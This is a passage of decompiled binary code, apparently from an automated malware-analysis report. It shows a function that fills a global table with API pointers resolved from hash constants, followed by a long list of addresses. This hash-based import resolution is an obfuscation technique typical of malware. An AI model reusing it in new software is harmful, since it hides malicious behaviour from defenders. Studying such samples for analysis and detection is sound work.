                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x110)) = E030C1080(_v8, 0x7d8f0227);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x114)) = E030C1080(_v8, 0x994c81ab);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x118)) = E030C1080(_v8, 0x2c09d0ca);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x11c)) = E030C1080(_v8, 0xbd6735c3);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x120)) = E030C1080(_v8, 0xc4c3ac97);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x124)) = E030C1080(_v8, 0x900f6a6e);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x128)) = E030C1080(_v8, 0xe9abf33a);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x12c)) = E030C1080(_v8, 0x4c8a5b22);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x130)) = E030C1080(_v8, 0x133f9317);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x134)) = E030C1080(_v8, 0x61e2048f);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x138)) = E030C1080(_v8, 0x3e57ccba);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x13c)) = E030C1080(_v8, 0x3bd7e17b);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x140)) = E030C1080(_v8, 0x4273782f);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x144)) = E030C1080(_v8, 0xca3a8f9a);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x148)) = E030C1080(_v8, 0x958f47af);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x14c)) = E030C1080(_v8, 0x23398d9a);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x150)) = E030C1080(_v8, 0xde73fed);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x154)) = E030C1080(_v8, 0xbd2f3f6d);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x158)) = E030C1080(_v8, 0x4a5a980c);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x15c)) = E030C1080(_v8, 0x7aa7b69b);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x160)) = E030C1080(_v8, 0x4491b126);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x164)) = E030C1080(_v8, 0x27ae6b27);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x168)) = E030C1080(_v8, 0x58016551);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x16c)) = E030C1080(_v8, 0x43681ce6);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x170)) = E030C1080(_v8, 0x5368361b);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x174)) = E030C1080(_v8, 0xe18f635a);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x178)) = E030C1080(_v8, 0x50cfba45);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x17c)) = E030C1080(_v8, 0x9bfff5d2);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x180)) = E030C1080(_v8, 0x52fe26d8);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x184)) = E030C1080(_v8, 0xcbf9a7e9);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x188)) = E030C1080(_v8, 0xbaab0208);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x18c)) = E030C1080(_v8, 0xfed80136);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x190)) = E030C1080(_v8, 0x8d76f9a4);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x194)) = E030C1080(_v8, 0x6023e15c);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x198)) = E030C1080(_v8, 0x58ff5064);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x19c)) = E030C1080(_v8, 0x9ff81f51);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x1a0)) = E030C1080(_v8, 0x77858e5f);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x1a4)) = E030C1080(_v8, 0x73210360);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x1a8)) = E030C1080(_v8, 0x29a054e4);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x1ac)) = E030C1080(_v8, 0x7ef4bae5);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x1b0)) = E030C1080(_v8, 0x9ab4737e);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x1b4)) = E030C1200(0, 1, 0x5b4219f8);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x1b8)) = E030C1200(0, 1, 0x7536a662);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x1bc)) = E030C1200(0, 1, 0x2b0b47a5);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x1c0)) = E030C1200(0, 1, 0x48fea11e);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x1c4)) = E030C1200(0, 1, 0xa1efe929);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x1c8)) = E030C1200(0, 1, 0x95c03d0);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x1cc)) = E030C1200(0, 1, 0xcce95612);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x1d0)) = E030C1200(0, 1, 0xfa3d2f88);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x1d4)) = E030C1200(0, 1, 0xa7fb4165);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x1d8)) = E030C1200(0, 1, 0xefc7ea74);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x1dc)) = E030C1200(0, 1, 0x8b5819ae);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x1e0)) = E030C1200(0, 1, 0x998508e2);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x1ec)) = E030C1200(0, 1, 0x2519b15a);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x1e4)) = E030C1200(0, 1, 0xc4b4a94d);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x1e8)) = E030C1200(0, 1, 0xe1bf2253);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x1f8)) = E030C1200(0, 1, 0xa0f5d331);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x1fc)) = E030C1200(0, 1, 0xd52d474a);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x200)) = E030C1200(0, 1, 0x271d201);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x204)) = E030C1200(0, 1, 0xb09315f4);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x208)) = E030C1200(0, 1, 0x3d3f609f);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x20c)) = E030C1200(0, 1, 0x81f39c19);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x210)) = E030C1200(0, 1, 0xd82bf69a);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x214)) = E030C1200(0, 1, 0x839a7905);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x218)) = E030C1200(0, 1, 0x3e08f78b);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x1f0)) = E030C1200(0, 1, 0x3faffd4a);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x1f4)) = E030C1200(0, 1, 0x21804a03);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x21c)) = E030C1200(0, 1, 0x8a8d16db);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x220)) = E030C1200(0, 1, 0x71a75557);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x224)) = E030C1200(0, 1, 0x906a06b0);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x228)) = E030C1200(0, 1, 0xff808c10);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x22c)) = E030C1200(0, 1, 0xd9b20494);
                                                                                                                                                                                                                                                                                                      							_t463 = E030C1200(0, 2, 0xc73378d6); // executed
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x230)) = _t463;
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x234)) = E030C1200(0, 2, 0x18903299);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x238)) = E030C1200(0, 2, 0x316d29bd);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x23c)) = E030C1200(0, 2, 0x4b37f1e8);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x240)) = E030C1200(0, 2, 0xada2afc2);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x244)) = E030C1200(0, 2, 0x7695d1cc);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x248)) = E030C1200(0, 2, 0x72135b03);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x24c)) = E030C1200(0, 2, 0xb70a9198);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x250)) = E030C1200(0, 2, 0xc66a6ca4);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x254)) = E030C1200(0, 2, 0xf16e8f5);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x258)) = E030C1200(0, 2, 0x120ce88f);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x25c)) = E030C1200(0, 2, 0x7075cfdf);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x260)) = E030C1200(0, 2, 0x5c969bf4);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x264)) = E030C1200(0, 2, 0xa8403ace);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x268)) = E030C1200(0, 2, 0xeb0cfd03);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x26c)) = E030C1200(0, 2, 0xedfa2583);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x270)) = E030C1200(0, 2, 0x5a01bfa0);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x274)) = E030C1200(0, 2, 0x886e73fb);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x278)) = E030C1200(0, 2, 0x509d74c2);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x27c)) = E030C1200(0, 2, 0x9c2d8fb5);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x280)) = E030C1200(0, 2, 0x7493f047);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x284)) = E030C1200(0, 2, 0xdf39a8ec);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x288)) = E030C1200(0, 2, 0xc6e38110);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x28c)) = E030C1200(0, 2, 0x61692ef);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x290)) = E030C1200(0, 2, 0xa64c1e0);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x294)) = E030C1200(0, 2, 0xc5c64bc2);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x298)) = E030C1200(0, 2, 0xdbe9fc8b);
                                                                                                                                                                                                                                                                                                      							_t490 = E030C1200(0, 3, 0xd3b22721); // executed
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x29c)) = _t490;
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x2a0)) = E030C1200(0, 3, 0x5c64ea2);
                                                                                                                                                                                                                                                                                                      							if(_a4 != 0) {
                                                                                                                                                                                                                                                                                                      								_t494 = E030C1200(0, 6, 0x7a0a041b); // executed
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *0x30efc04 + 0x2f0)) = _t494;
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *0x30efc04 + 0x2f4)) = E030C1200(0, 6, 0x581db250);
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *0x30efc04 + 0x2f8)) = E030C1200(0, 6, 0xc522bce);
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *0x30efc04 + 0x2fc)) = E030C1200(0, 6, 0x9c343b9a);
                                                                                                                                                                                                                                                                                                      								_t498 = E030C1200(0, 4, 0xda16a83d); // executed
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *0x30efc04 + 0x2a4)) = _t498;
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *0x30efc04 + 0x2a8)) = E030C1200(0, 4, 0x2ec21d6c);
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *0x30efc04 + 0x2ac)) = E030C1200(0, 4, 0xc24fa5f4);
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *0x30efc04 + 0x2b0)) = E030C1200(0, 4, 0x369b10a5);
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *0x30efc04 + 0x2b4)) = E030C1200(0, 4, 0x16505e0);
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *0x30efc04 + 0x2b8)) = E030C1200(0, 4, 0xf5b1b0b1);
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *0x30efc04 + 0x2bc)) = E030C1200(0, 4, 0x447d086b);
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *0x30efc04 + 0x2c0)) = E030C1200(0, 4, 0xb0a9bd3a);
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *0x30efc04 + 0x2c4)) = E030C1200(0, 4, 0xff00b1f6);
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *0x30efc04 + 0x2c8)) = E030C1200(0, 4, 0xbd404a7);
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *0x30efc04 + 0x2cc)) = E030C1200(0, 4, 0x6cc098f5);
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *0x30efc04 + 0x2d0)) = E030C1200(0, 4, 0xe5191d24);
                                                                                                                                                                                                                                                                                                      								_t510 = E030C1200(0, 5, 0xb9b70c1e); // executed
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *0x30efc04 + 0x2ec)) = _t510;
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *0x30efc04 + 0x2d4)) = E030C1200(0, 4, 0x16438a20);
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *0x30efc04 + 0x2d8)) = E030C1200(0, 4, 0x5e6d02fa);
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *0x30efc04 + 0x2dc)) = E030C1200(0, 4, 0x39dd748d);
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *0x30efc04 + 0x2e0)) = E030C1200(0, 4, 0x87881ece);
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *0x30efc04 + 0x2e4)) = E030C1200(0, 4, 0x4a5abcee);
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *0x30efc04 + 0x2e8)) = E030C1200(0, 4, 0xbe8e09bf);
                                                                                                                                                                                                                                                                                                      								_t517 = E030C1200(0, 7, 0xaed34be); // executed
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *0x30efc04 + 0x300)) = _t517;
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *0x30efc04 + 0x304)) = E030C1200(0, 7, 0x224a2dc8);
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *0x30efc04 + 0x308)) = E030C1200(0, 7, 0xd69e9899);
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *0x30efc04 + 0x30c)) = E030C1200(0, 7, 0xabe649e6);
                                                                                                                                                                                                                                                                                                      							}
                                                                                                                                                                                                                                                                                                      							E030CA880(); // executed
                                                                                                                                                                                                                                                                                                      							_t493 = E030C4660(); // executed
                                                                                                                                                                                                                                                                                                      							if(_t493 != 0) {
                                                                                                                                                                                                                                                                                                      								_v16 = 1;
                                                                                                                                                                                                                                                                                                      							}
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      				}
                                                                                                                                                                                                                                                                                                      				return _v16;
                                                                                                                                                                                                                                                                                                      			}














                                                                                                                                                                                                                                                                                                      0x030c16f6
                                                                                                                                                                                                                                                                                                      0x030c170a
                                                                                                                                                                                                                                                                                                      0x030c1711
                                                                                                                                                                                                                                                                                                      0x030c1717
                                                                                                                                                                                                                                                                                                      0x030c1732
                                                                                                                                                                                                                                                                                                      0x030c1739
                                                                                                                                                                                                                                                                                                      0x030c173f
                                                                                                                                                                                                                                                                                                      0x030c175f
                                                                                                                                                                                                                                                                                                      0x030c177c
                                                                                                                                                                                                                                                                                                      0x030c1795
                                                                                                                                                                                                                                                                                                      0x030c17af
                                                                                                                                                                                                                                                                                                      0x030c17bb
                                                                                                                                                                                                                                                                                                      0x030c17d5
                                                                                                                                                                                                                                                                                                      0x030c17ef
                                                                                                                                                                                                                                                                                                      0x030c1809
                                                                                                                                                                                                                                                                                                      0x030c1823
                                                                                                                                                                                                                                                                                                      0x030c183d
                                                                                                                                                                                                                                                                                                      0x030c1857
                                                                                                                                                                                                                                                                                                      0x030c1871
                                                                                                                                                                                                                                                                                                      0x030c188b
                                                                                                                                                                                                                                                                                                      0x030c18a5
                                                                                                                                                                                                                                                                                                      0x030c18bf
                                                                                                                                                                                                                                                                                                      0x030c18d9
                                                                                                                                                                                                                                                                                                      0x030c18f3
                                                                                                                                                                                                                                                                                                      0x030c190d
                                                                                                                                                                                                                                                                                                      0x030c1927
                                                                                                                                                                                                                                                                                                      0x030c1941
                                                                                                                                                                                                                                                                                                      0x030c195b
                                                                                                                                                                                                                                                                                                      0x030c1975
                                                                                                                                                                                                                                                                                                      0x030c198f
                                                                                                                                                                                                                                                                                                      0x030c19a9
                                                                                                                                                                                                                                                                                                      0x030c19c3
                                                                                                                                                                                                                                                                                                      0x030c19dd
                                                                                                                                                                                                                                                                                                      0x030c19f7
                                                                                                                                                                                                                                                                                                      0x030c1a11
                                                                                                                                                                                                                                                                                                      0x030c1a2b
                                                                                                                                                                                                                                                                                                      0x030c1a45
                                                                                                                                                                                                                                                                                                      0x030c1a5f
                                                                                                                                                                                                                                                                                                      0x030c1a79
                                                                                                                                                                                                                                                                                                      0x030c1a93
                                                                                                                                                                                                                                                                                                      0x030c1aad
                                                                                                                                                                                                                                                                                                      0x030c1aca
                                                                                                                                                                                                                                                                                                      0x030c1ae7
                                                                                                                                                                                                                                                                                                      0x030c1b04
                                                                                                                                                                                                                                                                                                      0x030c1b21
                                                                                                                                                                                                                                                                                                      0x030c1b3e
                                                                                                                                                                                                                                                                                                      0x030c1b5b
                                                                                                                                                                                                                                                                                                      0x030c1b78
                                                                                                                                                                                                                                                                                                      0x030c1b95
                                                                                                                                                                                                                                                                                                      0x030c1bb2
                                                                                                                                                                                                                                                                                                      0x030c1bcf
                                                                                                                                                                                                                                                                                                      0x030c1bec
                                                                                                                                                                                                                                                                                                      0x030c1c09
                                                                                                                                                                                                                                                                                                      0x030c1c26
                                                                                                                                                                                                                                                                                                      0x030c1c43
                                                                                                                                                                                                                                                                                                      0x030c1c60
                                                                                                                                                                                                                                                                                                      0x030c1c7d
                                                                                                                                                                                                                                                                                                      0x030c1c9a
                                                                                                                                                                                                                                                                                                      0x030c1cb7
                                                                                                                                                                                                                                                                                                      0x030c1cd4
                                                                                                                                                                                                                                                                                                      0x030c1cf1
                                                                                                                                                                                                                                                                                                      0x030c1d0e
                                                                                                                                                                                                                                                                                                      0x030c1d2b
                                                                                                                                                                                                                                                                                                      0x030c1d48
                                                                                                                                                                                                                                                                                                      0x030c1d65
                                                                                                                                                                                                                                                                                                      0x030c1d82
                                                                                                                                                                                                                                                                                                      0x030c1d9f
                                                                                                                                                                                                                                                                                                      0x030c1dbc
                                                                                                                                                                                                                                                                                                      0x030c1dd9
                                                                                                                                                                                                                                                                                                      0x030c1df6
                                                                                                                                                                                                                                                                                                      0x030c1e13
                                                                                                                                                                                                                                                                                                      0x030c1e30
                                                                                                                                                                                                                                                                                                      0x030c1e4d
                                                                                                                                                                                                                                                                                                      0x030c1e6a
                                                                                                                                                                                                                                                                                                      0x030c1e87
                                                                                                                                                                                                                                                                                                      0x030c1ea4
                                                                                                                                                                                                                                                                                                      0x030c1ec1
                                                                                                                                                                                                                                                                                                      0x030c1ede
                                                                                                                                                                                                                                                                                                      0x030c1efb
                                                                                                                                                                                                                                                                                                      0x030c1f18
                                                                                                                                                                                                                                                                                                      0x030c1f35
                                                                                                                                                                                                                                                                                                      0x030c1f52
                                                                                                                                                                                                                                                                                                      0x030c1f6f
                                                                                                                                                                                                                                                                                                      0x030c1f8c
                                                                                                                                                                                                                                                                                                      0x030c1fa9
                                                                                                                                                                                                                                                                                                      0x030c1fc6
                                                                                                                                                                                                                                                                                                      0x030c1fe3
                                                                                                                                                                                                                                                                                                      0x030c2000
                                                                                                                                                                                                                                                                                                      0x030c201d
                                                                                                                                                                                                                                                                                                      0x030c203a
                                                                                                                                                                                                                                                                                                      0x030c2057
                                                                                                                                                                                                                                                                                                      0x030c2074
                                                                                                                                                                                                                                                                                                      0x030c2091
                                                                                                                                                                                                                                                                                                      0x030c20ae
                                                                                                                                                                                                                                                                                                      0x030c20cb
                                                                                                                                                                                                                                                                                                      0x030c20e8
                                                                                                                                                                                                                                                                                                      0x030c2105
                                                                                                                                                                                                                                                                                                      0x030c2122
                                                                                                                                                                                                                                                                                                      0x030c213f
                                                                                                                                                                                                                                                                                                      0x030c215c
                                                                                                                                                                                                                                                                                                      0x030c2179
                                                                                                                                                                                                                                                                                                      0x030c2196
                                                                                                                                                                                                                                                                                                      0x030c21b3
                                                                                                                                                                                                                                                                                                      0x030c21d0
                                                                                                                                                                                                                                                                                                      0x030c21ed
                                                                                                                                                                                                                                                                                                      0x030c220a
                                                                                                                                                                                                                                                                                                      0x030c2227
                                                                                                                                                                                                                                                                                                      0x030c2244
                                                                                                                                                                                                                                                                                                      0x030c2261
                                                                                                                                                                                                                                                                                                      0x030c227e
                                                                                                                                                                                                                                                                                                      0x030c229b
                                                                                                                                                                                                                                                                                                      0x030c22b8
                                                                                                                                                                                                                                                                                                      0x030c22d5
                                                                                                                                                                                                                                                                                                      0x030c22f2
                                                                                                                                                                                                                                                                                                      0x030c230f
                                                                                                                                                                                                                                                                                                      0x030c232c
                                                                                                                                                                                                                                                                                                      0x030c2349
                                                                                                                                                                                                                                                                                                      0x030c2366
                                                                                                                                                                                                                                                                                                      0x030c2383
                                                                                                                                                                                                                                                                                                      0x030c23a0
                                                                                                                                                                                                                                                                                                      0x030c23bd
                                                                                                                                                                                                                                                                                                      0x030c23da
                                                                                                                                                                                                                                                                                                      0x030c23f7
                                                                                                                                                                                                                                                                                                      0x030c2414
                                                                                                                                                                                                                                                                                                      0x030c2431
                                                                                                                                                                                                                                                                                                      0x030c244e
                                                                                                                                                                                                                                                                                                      0x030c246b
                                                                                                                                                                                                                                                                                                      0x030c2488
                                                                                                                                                                                                                                                                                                      0x030c24a5
                                                                                                                                                                                                                                                                                                      0x030c24c2
                                                                                                                                                                                                                                                                                                      0x030c24df
                                                                                                                                                                                                                                                                                                      0x030c24fc
                                                                                                                                                                                                                                                                                                      0x030c2519
                                                                                                                                                                                                                                                                                                      0x030c2536
                                                                                                                                                                                                                                                                                                      0x030c2553
                                                                                                                                                                                                                                                                                                      0x030c2570
                                                                                                                                                                                                                                                                                                      0x030c258d
                                                                                                                                                                                                                                                                                                      0x030c25aa
                                                                                                                                                                                                                                                                                                      0x030c25c7
                                                                                                                                                                                                                                                                                                      0x030c25e4
                                                                                                                                                                                                                                                                                                      0x030c2601
                                                                                                                                                                                                                                                                                                      0x030c261e
                                                                                                                                                                                                                                                                                                      0x030c263b
                                                                                                                                                                                                                                                                                                      0x030c2658
                                                                                                                                                                                                                                                                                                      0x030c2675
                                                                                                                                                                                                                                                                                                      0x030c2692
                                                                                                                                                                                                                                                                                                      0x030c26af
                                                                                                                                                                                                                                                                                                      0x030c26cc
                                                                                                                                                                                                                                                                                                      0x030c26db
                                                                                                                                                                                                                                                                                                      0x030c26e9
                                                                                                                                                                                                                                                                                                      0x030c2706
                                                                                                                                                                                                                                                                                                      0x030c2723
                                                                                                                                                                                                                                                                                                      0x030c2740
                                                                                                                                                                                                                                                                                                      0x030c275d
                                                                                                                                                                                                                                                                                                      0x030c277a
                                                                                                                                                                                                                                                                                                      0x030c2797
                                                                                                                                                                                                                                                                                                      0x030c27b4
                                                                                                                                                                                                                                                                                                      0x030c27d1
                                                                                                                                                                                                                                                                                                      0x030c27ee
                                                                                                                                                                                                                                                                                                      0x030c280b
                                                                                                                                                                                                                                                                                                      0x030c2828
                                                                                                                                                                                                                                                                                                      0x030c2845
                                                                                                                                                                                                                                                                                                      0x030c2862
                                                                                                                                                                                                                                                                                                      0x030c287f
                                                                                                                                                                                                                                                                                                      0x030c289c
                                                                                                                                                                                                                                                                                                      0x030c28b9
                                                                                                                                                                                                                                                                                                      0x030c28d6
                                                                                                                                                                                                                                                                                                      0x030c28f3
                                                                                                                                                                                                                                                                                                      0x030c2910
                                                                                                                                                                                                                                                                                                      0x030c292d
                                                                                                                                                                                                                                                                                                      0x030c294a
                                                                                                                                                                                                                                                                                                      0x030c2967
                                                                                                                                                                                                                                                                                                      0x030c2984
                                                                                                                                                                                                                                                                                                      0x030c29a1
                                                                                                                                                                                                                                                                                                      0x030c29be
                                                                                                                                                                                                                                                                                                      0x030c29db
                                                                                                                                                                                                                                                                                                      0x030c29ea
                                                                                                                                                                                                                                                                                                      0x030c29f8
                                                                                                                                                                                                                                                                                                      0x030c2a15
                                                                                                                                                                                                                                                                                                      0x030c2a1f
                                                                                                                                                                                                                                                                                                      0x030c2a2e
                                                                                                                                                                                                                                                                                                      0x030c2a3c
                                                                                                                                                                                                                                                                                                      0x030c2a59
                                                                                                                                                                                                                                                                                                      0x030c2a76
                                                                                                                                                                                                                                                                                                      0x030c2a93
                                                                                                                                                                                                                                                                                                      0x030c2aa2
                                                                                                                                                                                                                                                                                                      0x030c2ab0
                                                                                                                                                                                                                                                                                                      0x030c2acd
                                                                                                                                                                                                                                                                                                      0x030c2aea
                                                                                                                                                                                                                                                                                                      0x030c2b07
                                                                                                                                                                                                                                                                                                      0x030c2b24
                                                                                                                                                                                                                                                                                                      0x030c2b41
                                                                                                                                                                                                                                                                                                      0x030c2b5e
                                                                                                                                                                                                                                                                                                      0x030c2b7b
                                                                                                                                                                                                                                                                                                      0x030c2b98
                                                                                                                                                                                                                                                                                                      0x030c2bb5
                                                                                                                                                                                                                                                                                                      0x030c2bd2
                                                                                                                                                                                                                                                                                                      0x030c2bef
                                                                                                                                                                                                                                                                                                      0x030c2bfe
                                                                                                                                                                                                                                                                                                      0x030c2c0c
                                                                                                                                                                                                                                                                                                      0x030c2c29
                                                                                                                                                                                                                                                                                                      0x030c2c46
                                                                                                                                                                                                                                                                                                      0x030c2c63
                                                                                                                                                                                                                                                                                                      0x030c2c80
                                                                                                                                                                                                                                                                                                      0x030c2c9d
